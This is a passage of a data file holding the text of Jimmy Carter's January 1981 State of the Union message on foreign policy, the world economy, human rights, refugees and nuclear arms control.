beyond.Soviet-supported Vietnamese aggression in Indo-china has posed a major\nchallenge to regional stability. In response, we have reiterated our\nsecurity commitment to Thailand and have provided emergency security\nassistance for Thai forces facing a Vietnamese military threat along the\nThai-Cambodian border. We have worked closely with ASEAN and the U.N. to\npress for withdrawal of Vietnamese forces from Cambodia and to encourage a\npolitical settlement in Cambodia which permits that nation to be governed\nby leaders of its own choice. We still look forward to the day when\nCambodia peacefully can begin the process of rebuilding its social,\neconomic and political institutions, after years of devastation and\noccupation. And, on humanitarian grounds and in support of our friends in\nthe region, we have worked vigorously with international organizations to\narrange relief and resettlement for the exodus of Indo-chinese refugees\nwhich threatened to overwhelm these nations.We have maintained our alliance with Korea and helped assure Korea's\nsecurity during a difficult period of political transition.We have amended our military base agreement with the Philippines, ensuring\nstable access to these bases through 1991. The importance of our Philippine\nbases to the strategic flexibility of U.S. forces and our access to the\nIndian Ocean is self-evident.Finally, we are in the process of concluding a long negotiation\nestablishing Micronesia's status as a freely associated state.We enter the 1980's with a firm strategic footing in East Asia and the\nPacific, based on stable and productive U.S. relations with the majority of\ncountries of the region. We have established a stable level of U.S.\ninvolvement in the region, appropriate to our own interests and to the\ninterests of our friends and allies there.THE MIDDLE EAST AND SOUTHWEST ASIAThe continuing Soviet occupation of Afghanistan and the dislocations caused\nby the Iraq-Iran war serve as constant reminders of the critical importance\nfor us, and our allies, of a third strategic zone stretching across the\nMiddle East, the Persian Gulf, and much of the Indian subcontinent. This\nSouthwest Asian region has served as a key strategic and commercial link\nbetween East and West over the centuries. Today it produces two-thirds of\nthe world's oil exports, providing most of the energy needs of our European\nallies and Japan. It has experienced almost continuous conflict between\nnations, internal instabilities in many countries, and regional rivalries,\ncombined with very rapid economic and social change. And now the Soviet\nUnion remains in occupation of one of these nations, ignoring world opinion\nwhich has called on it to get out.We have taken several measures to meet these challenges.MIDDLE EASTIn the Middle East, our determination to consolidate what has already been\nachieved in the peace process--and to buttress that accomplishment with\nfurther progress toward a comprehensive peace settlement--must remain a\ncentral goal of our foreign policy. Pursuant to their peace treaty, Egypt\nand Israel have made steady progress in the normalization of their\nrelations in a variety of fields, bringing the benefits of peace directly\nto their people. The new relationship between Egypt and Israel stands as an\nexample of peaceful cooperation in an increasingly fragmented and turbulent\nregion.Both President Sadat and Prime Minister Begin remain committed to the\ncurrent negotiations to provide full autonomy to the inhabitants of the\nWest Bank and Gaza. These negotiations have been complex and difficult, but\nthey have already made significant progress, and it is vital that the two\nsides, with our assistance, see the process through to a successful\nconclusion. We also recognize the need to broaden the peace process to\ninclude other parties to the conflict and believe that a successful\nautonomy agreement is an essential first step toward this objective.We have also taken a number of steps to strengthen our bilateral relations\nwith both Israel and Egypt. We share important strategic interests with\nboth of these countries.We remain committed to Israel's security and are prepared to take concrete\nsteps to support Israel whenever that security is threatened.PERSIAN GULFThe Persian Gulf has been a vital crossroads for trade between Europe and\nAsia at many key moments in history. It has become essential in recent\nyears for its supply of oil to the United States, our allies, and our\nfriends. We have taken effective measures to control our own consumption of\nimported fuel, working in cooperation with the other key industrial /\nnations of the world. However, there is little doubt that the healthy\ngrowth of our American and world economies will depend for many years on\ncontinued safe access to the Persian Gulf's oil production. The denial of\nthese oil supplies would threaten not only our own but world security.The potent new threat from an advancing Soviet Union, against the\nbackground of regional instability of which it can take advantage, requires\nthat we reinforce our ability to defend our regional friends and to protect\nthe flow of oil. We are continuing to build on the strong political,\neconomic, social and humanitarian ties which bind this government and the\nAmerican people to friendly governments and peoples of the Persian Gulf.We have also embarked on a course to reinforce the trust and confidence our\nregional friends have in our ability to come to their assistance rapidly\nwith American military force if needed. We have increased our naval\npresence in the Indian Ocean. We have created a Rapid Deployment Force\nwhich can move quickly to the Gulf--or indeed any other area of the world\nwhere outside aggression threatens. We have concluded several agreements\nwith countries which are prepared to let us use their airports and naval\nfacilities in an emergency. We have met requests for reasonable amounts of\nAmerican weaponry from regional countries which are anxious to defend\nthemselves. And we are discussing with a number of our area friends further\nways we can help to improve their security and ours, both for the short and\nthe longer term.SOUTH ASIAWe seek a South Asia comprising sovereign and stable states, free of\noutside interference, which can strengthen their political institutions\naccording to their own national genius and can develop their economies for\nthe betterment of their people.The Soviet invasion of Afghanistan has posed a new challenge to this\nregion, and particularly to neighboring Pakistan. We are engaged in a\ncontinuing dialogue with the Pakistan government concerning its development\nand security requirements and the economic burden imposed by Afghan\nrefugees who have fled to Pakistan. We are participating with other aid\nconsortium members in debt rescheduling and will continue to cooperate\nthrough the UNHCR in providing refugee assistance. We remain committed to\nPakistan's territorial integrity and independence.Developments in the broad South/Southwest Asian region have also lent a new\nimportance to our relations with India, the largest and strongest power in\nthe area. We share India's interest in a more constructive relationship.\nIndian policies and perceptions at times differ from our own, and we have\nestablished a candid dialogue with this sister democracy which seeks to\navoid the misunderstandings which have sometimes complicated our ties.We attach major importance to strong economic assistance programs to the\ncountries in the area, which include a majority of the poor of the\nnon-Communist world. We believe that these programs will help achieve\nstability in the area, an objective we share with the countries in the\nregion. Great progress has been achieved by these countries in increasing\nfood production; international cooperation in harnessing the great river\nresources of South Asia would contribute further to this goal and help to\nincrease energy production.We continue to give high priority to our non-proliferation goals in the\narea in the context of our broad global and regional priorities. The\ndecision to continue supply of nuclear fuel to the Indian Tarapur reactors\nwas sensitive to this effort.AFRICAThe United States has achieved a new level of trust and cooperation with\nAfrica. Our efforts, together with our allies, to achieve peace in southern\nAfrica, our increased efforts to help the poorest countries in Africa to\ncombat poverty, and our expanded efforts to promote trade and investment\nhave led to growing respect for the U.S. and to cooperation in areas of\nvital interest to the United States.Africa is a continent of poor nations for the most part. It also contains\nmany of the mineral resources vital for our economy. We have worked with\nAfrica in a spirit of mutual cooperation to help the African nations solve\ntheir problems of poverty and to develop stronger ties between our private\nsector and African economies. Our assistance to Africa has more than\ndoubled in the last four years. Equally important, we set in motion new\nmechanisms for private investment and trade.Nigeria is the largest country in Black Africa and the second largest oil\nsupplier to the United States. During this Administration we have greatly\nexpanded and improved our relationship with Nigeria and other West African\nstates whose aspirations for a constitutional democratic order we share and\nsupport. This interest was manifested both symbolically and practically by\nthe visit of Vice President Mondale to West Africa in July (1980) and the\nsuccessful visit to Washington of the President of Nigeria in October.During Vice President Mondale's visit, a Joint Agricultural Consultative\nCommittee was established, with the U.S. represented entirely by the\nprivate sector. This could herald a new role for the American private\nsector in helping solve the world's serious food shortages. I am pleased to\nsay that our relations with Nigeria are at an all-time high, providing the\nfoundation for an even stronger relationship in the years ahead.Another tenet of this Administration's approach to African problems has\nbeen encouragement and support for regional solutions to Africa's\nproblems. We have supported initiatives by the Organization of African\nUnity to solve the protracted conflict in the western Sahara, Chad, and the\nHorn. In Chad, the world is watching with dismay as a country torn by a\ndevastating civil war has become a fertile field for Libya's exploitation,\nthus demonstrating that threats to peace can come from forces within as\nwell as without Africa.In southern Africa the United States continues to pursue a policy of\nencouraging peaceful development toward majority rule. In 1980, Southern\nRhodesia became independent as Zimbabwe, a multiracial nation under a\nsystem of majority rule. Zimbabwean independence last April was the\nculmination of a long struggle within the country and diplomatic efforts\ninvolving Great Britain, African states neighboring Zimbabwe, and the\nUnited States.The focus of our efforts in pursuit of majority rule in southern Africa has\nnow turned to Namibia. Negotiations are proceeding among concerned parties\nunder the leadership of U.N. Secretary General Waldheim. This should lead\nto implementation of the U.N. plan for self-determination and independence\nfor Namibia during 1981. If these negotiations are successfully concluded,\nsixty-five years of uncertainty over the status of the territory, including\na seven-year-long war, will be ended.In response to our active concern with issues of importance to Africans,\nAfrican states have cooperated with us on issues of importance to our\nnational interests. African states voted overwhelmingly in favor of the\nU.N. Resolution calling for release of the hostages, and for the U.N.\nResolution condemning the Soviet invasion of Afghanistan. Two countries of\nAfrica have signed access agreements with the U.S. allowing us use of naval\nand air facilities in the Indian Ocean.Africans have become increasingly vocal on human rights. African leaders\nhave spoken out on the issue of political prisoners, and the OAU is\ndrafting its own Charter on Human Rights. Three countries in Africa--\nNigeria, Ghana, and Uganda--have returned to civilian rule during the past\nyear.U.S. cooperation with Africa on all these matters represents a strong base\non which we can build in future years.Liberia is a country of long-standing ties with the U.S. and the site of\nconsiderable U.S. investment and facilities. This past April a coup\nreplaced the government and a period of political and economic uncertainty\nensued. The U.S. acted swiftly to meet this situation. We, together with\nAfrican leaders, urged the release of political prisoners, and many have\nbeen released; we provided emergency economic assistance to help avoid\neconomic collapse, and helped to involve the IMF and the banking community\nto bring about economic stability; and we have worked closely with the new\nleaders to maintain Liberia's strong ties with the West and to protect\nAmerica's vital interests.NORTH AFRICAIn early 1979, following a Libyan-inspired commando attack on a Tunisian\nprovincial city, the U.S. responded promptly to Tunisia's urgent request\nfor assistance, both by airlifting needed military equipment and by making\nclear our longstanding interest in the security and integrity of this\nfriendly country. The U.S. remains determined to oppose other irresponsible\nLibyan aspirations. Despairing of a productive dialogue with the Libyan\nauthorities, the U.S. closed down its embassy in Libya and later expelled\nsix Libyan diplomats in Washington in order to deter an intimidation\ncampaign against Libyan citizens in the U.S.U.S. relations with Algeria have improved, and Algeria has played an\nindispensable and effective role as intermediary between Iran and the U.S.\nover the hostage issue.The strengthening of our arms supply relationship with Morocco has helped\nto deal with attacks inside its internationally recognized frontiers and to\nstrengthen its confidence in seeking a political settlement of the Western\nSahara conflict. While not assuming a mediatory role, the U.S. encouraged\nall interested parties to turn their energies to a peaceful and sensible\ncompromise resolution of the war in the Sahara and supported efforts by the\nOrganization of African Unity toward that end. As the year drew to a close,\nthe U.S. was encouraged by evolution in the attitudes of all sides, and is\nhopeful that their differences will be peacefully resolved in the year\nahead so that the vast economic potential of North Africa can be developed\nfor the well-being of the people living there.LATIN AMERICA AND THE CARIBBEANThe principles of our policies in this hemisphere have been clear and\nconstant over the last four years. We support democracy and respect for\nhuman rights. We have struggled with many to help free the region of both\nrepression and terrorism. We have respected ideological diversity and\nopposed outside intervention in purely internal affairs. We will act,\nthough, in response to a request for assistance by a country threatened by\nexternal aggression. We support social and economic development within a\ndemocratic framework. We support the peaceful settlement of disputes. We\nstrongly encourage regional cooperation and shared responsibilities within\nthe hemisphere to all these ends, and we have eagerly and regularly sought\nthe advice of the leaders of the region on a wide range of issues.Last November, I spoke to the General Assembly of the Organization of\nAmerican States of a cause that has been closest to my heart--human\nrights. It is an issue that has found its time in the hemisphere. The cause\nis not mine alone, but an historic movement that will endure.At Riobamba, Ecuador, last September four Andean Pact countries, Costa\nRica, and Panama broke new ground by adopting a \"Code of Conduct,\" that\njoint action in defense of human rights does not violate the principles of\nnonintervention in the internal affairs of states in this hemisphere. The\nOrganization of American States has twice condemned the coup that\noverturned the democratic process in Bolivia and the widespread abuse of\nhuman rights by the regime which seized power. The Inter-American\nCommission on Human Rights has gained world acclaim for its dispassionate\nreports. It completed two major country studies this year in addition to\nits annual report. In a resolution adopted without opposition, the OAS\nGeneral Assembly in November strongly supported the work of the Commission.\nThe American Convention on Human Rights is in force and an Inter-American\nCourt has been created to judge human rights violations. This convention\nhas been pending before the Senate for two years; I hope the United States\nthis year will join the other nations of the hemisphere in ratifying a\nconvention which embodies principles that are our tradition.The trend in favor of democracy has continued. During this past year, Peru\ninaugurated a democratically elected government. Brazil continues its\nprocess of liberalization. In Central America, Hondurans voted in record\nnumbers in their first national elections in over eight years. In the\nCaribbean seven elections have returned governments firmly committed to the\ndemocratic traditions of the Commonwealth.Another major contribution to peace in the hemisphere is Latin America's\nown Treaty for the Prohibition of Nuclear Weapons. On behalf of the United\nStates, I signed Protocol I of this Treaty in May of 1977 and sent it to\nthe Senate for ratification. I urge that it be acted upon promptly by the\nSenate in order that it be brought into the widest possible effect in the\nLatin American region.Regional cooperation for development is gaining from Central America to the\nAndes, and throughout the Caribbean. The Caribbean Group for Cooperation in\nEconomic Development, which we established with 29 other nations in 1977,\nhas helped channel $750 million in external support for growth in the\nCaribbean. The recent meeting of the Chiefs of State of the Eastern\nCaribbean set a new precedent for cooperation in that region. Mexico and\nVenezuela jointly and Trinidad and Tobago separately have established oil\nfacilities that will provide substantial assistance to their oil importing\nneighbors. The peace treaty between El Salvador and Honduras will hopefully\nstimulate Central America to move forward again toward economic\nintegration. Formation of Caribbean/ Central American Action, a private\nsector organization, has given a major impetus to improving\npeople-to-people bonds and strengthening the role of private enterprise in\nthe development of democratic societies.The Panama treaties have been in force for over a year. A new partnership\nhas been created with Panama; it is a model for large and small nations. A\nlongstanding issue that divided us from our neighbors has been resolved.\nThe security of the canal has been enhanced. The canal is operating as well\nas ever, with traffic through it reaching record levels this year. Canal\nemployees, American and Panamanian alike, have remained on the job and have\nfound their living and working conditions virtually unchanged.In 1980, relations with Mexico continued to improve due in large measure to\nthe effectiveness of the Coordinator for Mexican Affairs and the expanded\nuse of the U.S.-Mexico Consultative Mechanism. By holding periodic meetings\nof its various working groups, we have been able to prevent mutual concerns\nfrom becoming political issues. The Secretary of State visited Mexico City\nin November, and, along with the Mexican Secretary of Foreign Relations,\nreviewed the performance of the Consultative Mechanism. The office of the\nCoordinator has ensured the implementation of my directive to all agencies\nto accord high priority to Mexican concerns. Trade with Mexico rose by\nalmost 60 percent to nearly $30 billion, making that country our third\nlargest trading partner.These are all encouraging developments. Other problems remain, however.The impact of large-scale migration is affecting many countries in the\nhemisphere. The most serious manifestation was the massive, illegal exodus\nfrom Cuba last summer. The Cuban government unilaterally encouraged the\ndisorderly and even deadly migration of 125,000 of its citizens in complete\ndisregard for international law or the immigration laws of its neighbors.\nMigrations of this nature clearly require concerted action, and we have\nasked the OAS to explore means of dealing with similar situations which may\noccur in the future.We have a long-standing treaty with Colombia on Quita Sueno, Roncador, and\nSerrano which remains to be ratified by the Senate.In Central America, the future of Nicaragua is unclear. Recent tensions,\nthe restrictions on the press and political activity, an inordinate Cuban\npresence in the country and the tragic killing by the security forces of a\nbusinessman well known for his democratic orientation, cause us\nconsiderable concern. These are not encouraging developments. But those who\nseek a free society remain in the contest for their nation's destiny. They\nhave asked us to help rebuild their country, and by our assistance, to\ndemonstrate that the democratic nations do not intend to abandon Nicaragua\nto the Cubans. As long as those who intend to pursue their pluralistic\ngoals play important roles in Nicaragua, it deserves our continuing\nsupport.In El Salvador, we have supported the efforts of the Junta to change the\nfundamental basis of an inequitable system and to give a stake in a new\nnation to those millions of people, who for so long, lived without hope or\ndignity. As the government struggles against those who would restore an old\ntyranny or impose a new one, the United States will continue to stand\nbehind them.We have increased our aid to the Caribbean, an area vital to our national\nsecurity, and we should continue to build close relations based on mutual\nrespect and understanding, and common interests.As the nations of this hemisphere prepare to move further into the 1980's,\nI am struck by the depth of underlying commitment that there is to our\ncommon principles: non-intervention, peaceful settlement of disputes,\ncooperation for development, democracy and defense of basic human rights. I\nleave office satisfied that the political, economic, social and\norganizational basis for further progress with respect to all these\nprinciples have been substantially strengthened in the past four years. I\nam particularly reassured by the leadership by other nations of the\nhemisphere in advancing these principles. The success of our common task of\nimproving the circumstances of all peoples and nations in the hemisphere\ncan only be assured by the sharing of responsibility. I look forward to a\nhemisphere that at the end of this decade has proven itself anew as a\nleader in the promotion of both national and human dignity.THE INTERNATIONAL ECONOMYA growing defense effort and a vigorous foreign policy rest upon a strong\neconomy here in the United States. And the strength of our own economy\ndepends upon our ability to lead and compete in the international\nmarketplace.ENERGYLast year, the war between Iraq and Iran led to the loss of nearly 4\nmillion barrels of oil to world markets, the third major oil market\ndisruption in the past seven years. This crisis has vividly demonstrated\nonce again both the value of lessened dependence on oil imports and the\ncontinuing instability of the Persian Gulf area.Under the leadership of the United States, the 21 members of the\nInternational Energy Agency took collective action to ensure that the oil\nshortfall stemming from the Iran-Iraq war would not be aggravated by\ncompetition for scarce spot market supplies. We are also working together\nto see that those nations most seriously affected by the oil disruption--\nincluding our key NATO allies Turkey and Portugal--can get the oil they\nneed. At the most recent IEA Ministerial meeting we joined the other\nmembers in pledging to take those policy measures necessary to slice our\njoint oil imports in the first quarter of 1981 by 2.2 million barrels.Our international cooperation efforts in the energy field are not limited\nto crisis management. At the Economic Summit meetings in Tokyo and Venice,\nthe heads of government of the seven major industrial democracies agreed to\na series of tough energy conservation and production goals. We are working\ntogether with all our allies and friends in this effort.Construction has begun on a commercial scale coal liquefaction plant in\nWest Virginia co-financed by the United States, Japan and West Germany. An\ninteragency task force has just reported to me on a series of measures we\nneed to take to increase coal production and exports. This report builds on\nthe work of the International Energy Agency's Coal Industry Advisory Board.\nWith the assurances of a reliable United States steam coal supply at\nreasonable prices, many of the electric power plants to be built in the\n1980's and 1990's can be coal-fired rather than oil-burning.We are working cooperatively with other nations to increase energy security\nin other areas as well. Joint research and development with our allies is\nunderway in solar energy, nuclear power, industrial conservation and other\nareas. In addition, we are assisting rapidly industrializing nations to\ncarefully assess their basic energy policy choices, and our development\nassistance program helps the developing countries to increase indigenous\nenergy production to meet the energy needs of their poorest citizens. We\nsupport the proposal for a new World Bank energy affiliate to these same\nends, whose fulfillment will contribute to a better global balance between\nenergy supply and demand.INTERNATIONAL MONETARY POLICYDespite the rapid increase in oil costs, the policy measures we have taken\nto improve domestic economic performance have had a continued powerful\neffect on our external accounts and on the strength of the dollar. A strong\ndollar helps in the fight against inflation.There has also been considerable forward movement in efforts to improve the\nfunctioning of the international monetary system. The stability of the\ninternational system of payments and trade is important to the stability\nand good health of our own economy. We have given strong support to the\ninnovative steps being taken by the International Monetary Fund and World\nBank to help promote early adjustment to the difficult international\neconomic problems. Recent agreement to increase quotas by fifty percent\nwill ensure the IMF has sufficient resources to perform its central role in\npromoting adjustment and financing payments imbalances. The World Bank's\nnew structural adjustment lending program will also make an important\ncontribution to international efforts to help countries achieve a\nsustainable level of growth and development.SUGARIn 1980, Congress passed U.S. implementing legislation for the\nInternational Sugar Agreement, thus fulfilling a major commitment of this\nAdministration. The agreement is an important element in our international\ncommodity policy with far-reaching implications for our relations with\ndeveloping countries, particularly sugar producers in Latin America.\nProducers and consumers alike will benefit from a more stable market for\nthis essential commodity.COFFEEAt year's end, Congress approved implementing legislation permitting the\nU.S. to carry out fully its commitments under International Coffee\nAgreement Specifically, the legislation enables us to meet our part of an\nunderstanding negotiated last fall among members of the Agreement, which\ndefends, by use of export quotas, a price range well below coffee prices of\nprevious years and which commits major coffee producers to eliminate cartel\narrangements that manipulated future markets to raise prices. The way is\nnow open to a fully-functioning International Coffee Agreement which can\nhelp to stabilize this major world commodity market. The results will be\npositive for both consumers--who will be less likely to suffer from sharp\nincreases in coffee prices--and producers--who can undertake future\ninvestment with assurance of greater protection against disruptive price\nfluctuations in their exports.NATURAL RUBBERIn 1980, the International Natural Rubber Agreement entered into force\nprovisionally. U.S. membership in this new body was approved overwhelmingly\nby the Senate last year. The natural rubber agreement is a model of its\nkind and should make a substantial contribution to a stable world market in\nthis key industrial commodity. It is thus an excellent example of\nconstructive steps to improve the operation of the world economy in ways\nwhich can benefit the developing and industrialized countries alike. In\nparticular, the agreement has improved important U.S. relationships with\nthe major natural rubber-producing countries of Southeast Asia.COMMON FUNDThe United States joined members of the United Nations Conference on Trade\nand Development, both developed and developing nations, in concluding\nArticles of Agreement in 1980 for a Common Fund to help international\ncommodity agreements stabilize the prices of raw materials.ECONOMIC COOPERATION WITH DEVELOPING NATIONSOur relations with the developing nations are of major importance to the\nUnited States. The fabric of our relations with these countries has strong\neconomic and political dimensions. They constitute the most rapidly growing\nmarkets for our exports, and are important sources of fuel and raw\nmaterials. Their political views are increasingly important, as\ndemonstrated in their overwhelming condemnation of the Soviet invasion of\nAfghanistan. Our ability to work together with developing nations toward\ngoals we have in common (their political independence, the resolution of\nregional tensions, and our growing ties of trade for example) require us to\nmaintain the policy of active involvement with the developing world that we\nhave pursued over the past four years.The actions we have taken in such areas as energy, trade, commodities, and\ninternational financial institutions are all important to the welfare of\nthe developing countries. Another important way the United States can\ndirectly assist these countries and demonstrate our concern for their\nfuture is through our multilateral and bilateral foreign assistance\nprogram. The legislation which I will be submitting to you for FY 82\nprovides the authority and the funds to carry on this activity. Prompt\nCongressional action on this legislation is essential in order to attack\nsuch high priority global problems as food and energy, meet our treaty and\nbase rights agreements, continue our peace efforts in the Middle East,\nprovide economic and development support to countries in need, promote\nprogress on North-South issues, protect Western interests, and counter\nSoviet influence.Our proposed FY 1982 bilateral development aid program is directly\nresponsive to the agreement reached at the 1980 Venice Economic Summit that\nthe major industrial nations should increase their aid for food and energy\nproduction and for family planning. We understand that other Summit\ncountries plan similar responses. It is also important to honor our\ninternational agreements for multilateral assistance by authorizing and\nappropriating funds for the International Financial Institutions. These\nmultilateral programs enhance the efficiency of U.S. contributions by\ncombining them with those of many other donor countries to promote\ndevelopment; the proposed new World Bank affiliate to increase energy\noutput in developing countries offers particular promise. All these types\nof aid benefit our long-run economic and political interests.Progress was made on a number of economic issues in negotiations throughout\nthe U.N. system. However, in spite of lengthy efforts in the United\nNations, agreement has not been reached on how to launch a process of\nGlobal Negotiations in which nations might collectively work to solve such\nimportant issues as energy, food, protectionism, and population pressures.\nThe United States continues to believe that progress can best be made when\nnations focus on such specific problems, rather than on procedural and\ninstitutional questions. It will continue to work to move the North-South\ndialogue into a more constructive phase.FOOD--THE WAR ON HUNGERThe War on Hunger must be a continuous urgent priority. Major portions of\nthe world's population continue to be threatened by the specter of hunger\nand malnutrition. During the past year, some 150 million people in 36\nAfrican countries were faced with near disaster as the result of serious\ndrought, induced food shortages. Our government, working in concert with\nthe U.N.'s Food and Agricultural Organization (FAO), helped to respond to\nthat need. But the problems of hunger cannot be solved by short-term\nmeasures. We must continue to support those activities, bilateral and\nmultilateral, which aim at improving food production especially in\ndeveloping countries and assuring global food security. These measures are\nnecessary to the maintenance of a stable and healthy world economy.I am pleased that negotiation of a new Food Aid Convention, which\nguarantees a minimum annual level of food assistance, was successfully\nconcluded in March. The establishment of the International Emergency Wheat\nReserve will enable the U.S. to meet its commitment under the new\nConvention to feed hungry people, even in times of short supply.Of immediate concern is the prospect of millions of Africans threatened by\nfamine because of drought and civil disturbances. The U.S. plea for\nincreased food aid resulted in the organization of an international\npledging conference and we are hopeful that widespread starvation will be\navoided.Good progress has been made since the Venice Economic Summit called for\nincreased effort on this front. We and other donor countries have begun to\nassist poor countries develop long-term strategies to improve their food\nproduction. The World Bank will invest up to $4 billion in the next few\nyears in improving the grain storage and food-handling capacity of\ncountries prone to food shortages.Good progress has been made since the Tokyo Economic Summit called for\nincreased effort on this front. The World Bank is giving this problem top\npriority, as are some other donor countries. The resources of the\nconsultative Group on International Agricultural Research will be doubled\nover a five-year period. The work of our own Institute of Scientific and\nTechnological Cooperation will further strengthen the search for relevant\nnew agricultural technologies.The goal of freeing the world from hunger by the year 2000 should command\nthe full support of all countries.The Human Dimension of Foreign PolicyHUMAN RIGHTSThe human rights policy of the United States has been an integral part of\nour overall foreign policy for the past several years. This policy serves\nthe national interest of the United States in several important ways: by\nencouraging respect by governments for the basic rights of human beings, it\npromotes peaceful, constructive change, reduces the likelihood of internal\npressures for violent change and for the exploitation of these by our\nadversaries, and thus directly serves our long-term interest in peace and\nstability; by matching espousal of fundamental American principles of\nfreedom with specific foreign policy actions, we stand out in vivid\ncontrast to our ideological adversaries; by our efforts to expand freedom\nelsewhere, we render our own freedom, and our own nation, more secure.\nCountries that respect human rights make stronger allies and better\nfriends.Rather than attempt to dictate what system of government or institutions\nother countries should have, the U.S. supports, throughout the world, the\ninternationally recognized human rights which all members of the United\nNations have pledged themselves to respect. There is more than one model\nthat can satisfy the continuing human reach for freedom and justice:1980 has been a year of some disappointments, but has also seen some\npositive developments in the ongoing struggle for fulfillment of human\nrights throughout the world. In the year we have seen:--Free elections were held and democratic governments installed in Peru,\nDominica, and Jamaica. Honduras held a free election for installation of a\nconstituent assembly. An interim government was subsequently named pointing\ntoward national presidential elections in 1981. Brazil continues on its\ncourse of political liberalization.--The \"Charter of Conduct\" signed in Riobamba, Ecuador, by Ecuador,\nColombia, Venezuela, Peru, Costa Rica, Panama and Spain, affirms the\nimportance of democracy and human rights for the Andean countries.--The Organization of American States, in its annual General Assembly,\napproved a resolution in support of the Inter-American Human Rights\nCommission's work. The resolution took note of the Commission's annual\nreport, which described the status of human rights in Chile, El Salvador,\nParaguay and Uruguay; and the special reports on Argentina and Haiti, which\ndescribed human rights conditions as investigated during on-site\ninspections to these countries.--The awarding of the Nobel Prize for Peace to Adolfo Perez Esquivel of\nArgentina for his non-violent advocacy of human rights.--The United States was able to rejoin the International Labor\nOrganization after an absence of two years, as that U.N. body reformed its\nprocedures to return to its original purpose of strengthening\nemployer-employee-government relations to insure human rights for the\nworking people of the world.The United States, of course, cannot take credit for all these various\ndevelopments. But we can take satisfaction in knowing that our policies\nencourage and perhaps influence them.Those who see a contradiction between our security and our humanitarian\ninterests forget that the basis for a secure and stable society is the bond\nof trust between a government and its people. I profoundly believe that the\nfuture of our world is not to be found in authoritarianism: that wears the\nmask of order, or totalitarianism that wears the mask of justice. Instead,\nlet us find our future in the human face of democracy, the human voice of\nindividual liberty, the human hand of economic development.HUMANITARIAN AIDThe United States has continued to play its traditional role of safehaven\nfor those who flee or are forced to flee their homes because of persecution\nor war. During 1980, the United States provided resettlement opportunities\nfor 216,000 refugees from countries around the globe. In addition, the\nUnited States joined with other nations to provide relief to refugees in\ncountry of first asylum in Africa, the Middle East, and Asia.The great majority of refugee admissions continued to be from Indo-china.\nDuring 1980, 168,000 Indo-chinese were resettled in the United States.\nAlthough refugee populations persist in camps in Southeast Asia, and\nrefugees continue to flee Vietnam, Laos and Kampuchea, the flow is not as\ngreat as in the past. One factor in reducing the flow from Vietnam has been\nthe successful negotiation and commencement of an Orderly Departure Program\nwhich permits us to process Vietnamese for resettlement in the United\nStates with direct departure from Ho Chi Minh Ville in an orderly fashion.\nThe first group of 250 departed Vietnam for the United States in December,\n1980.In addition to the refugees admitted last year, the United States accepted\nfor entry into the United States 125,000 Cubans who were expelled by Fidel\nCastro. Federal and state authorities, as well as private voluntary\nagencies, responded with unprecedented vigor to coping with the unexpected\ninflux of Cubans.Major relief efforts to aid refugees in countries of first asylum continued\nin several areas of the world. In December, 1980, thirty-two nations,\nmeeting in New York City, agreed to contribute $65 million to the\ncontinuing famine relief program in Kampuchea. Due in great part to the\ngenerosity of the American people and the leadership exercised in the\ninternational arena by the United States, we have played the pivotal role\nin ameliorating massive suffering in Kampuchea.The United States has taken the lead among a group of donor countries who\nare providing relief to some two million refugees in the Horn of Africa who\nhave been displaced by fighting in Ethiopia. U.S. assistance, primarily to\nSomalia, consists of $35 million worth of food and $18 million in cash and\nkind. Here again, United States efforts can in large part be credited with\nkeeping hundreds of thousands of people alive.Another major international relief effort has been mounted in Pakistan. The\nUnited States is one of 25 countries plus the European Economic Community\nwho have been helping the Government of Pakistan to cope with the problem\nof feeding and sheltering the more than one million refugees that have been\ngenerated by the Soviet invasion of Afghanistan.In April, 1980, the Congress passed the Refugee Act of 1980 which brought\ntogether, for the first time, in one piece of legislation the various\nthreads of U.S. policy towards refugees. The law laid down a new, broader\ndefinition of the term refugee, established mechanisms for arriving at a\nlevel of refugee admissions through consultation with Congress, and\nestablished the Office of the United States Coordinator for Refugees.It cannot be ignored that the destructive and aggressive policies of the\nSoviet Union have added immeasurably to the suffering in these three tragic\nsituations.The Control of Nuclear WeaponsTogether with our friends and allies, we are striving to build a world in\nwhich peoples with diverse interests can live freely and prosper. But all\nthat humankind has achieved to date, all that we are seeking to accomplish,\nand human existence itself can be undone in an instant--in the catastrophe\nof a nuclear war.Thus one of the central objectives of my Administration has been to control\nthe proliferation of nuclear weapons to those nations which do not have\nthem, and their further development by the existing nuclear powers--\nnotably the Soviet Union and the United States.NON-PROLIFERATIONMy Administration has been committed to stemming the spread of nuclear\nweapons. Nuclear proliferation would raise the spectre of the use of\nnuclear explosives in crucial, unstable regions of the world endangering\nnot only our security and that of our Allies, but that of the whole world.\nNon-proliferation is not and can not be a unilateral U.S. policy, nor\nshould it be an issue of contention between the industrialized and\ndeveloping states. The international non-proliferation effort requires the\nsupport of suppliers as well as importers of nuclear technology and\nmaterials.We have been proceeding on a number of fronts:--First, we have been seeking to encourage nations to accede to the\nNon-Proliferation Treaty. The U.S. is also actively encouraging other\nnations to accept full-scope safeguards on all of their nuclear activities\nand is asking other nuclear suppliers to adopt a full-scope safeguards\nrequirement as a condition for future supply.--Second, the International Nuclear Fuel Cycle Evaluation (INFCE), which\nwas completed in 1980, demonstrated that suppliers and recipients can work\ntogether on these technically complex and sensitive issues. While\ndifferences remain, the INFCE effort provides a broader international basis\nfor national decisions which must balance energy needs with\nnon-proliferation concerns.--Finally, we are working to encourage regional cooperation and restraint.\nProtocol I of the Treaty of Tlatelolco which will contribute to the\nlessening of nuclear dangers for our Latin American neighbors ought now to\nbe ratified by the United States Senate.LIMITATIONS ON STRATEGIC ARMSI remain convinced that the SALT II Treaty is in our Nation's security\ninterest and that it would add significantly to the control of nuclear\nweapons. I strongly support continuation of the SALT process and the\nnegotiation of more far-reaching mutual restraints on nuclear weaponry.CONCLUSIONWe have new support in the world for our purposes of national independence\nand individual human dignity. We have a new will at home to do what is\nrequired to keep us the strongest nation on earth.We must move together into this decade with the strength which comes from\nrealization of the dangers before us and from the confidence that together\nwe can overcome them.  The White House, January 16, 1981.", 
+    "name": "Jimmy Carter"
+}
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+{
+    "date": "January 19, 1978", 
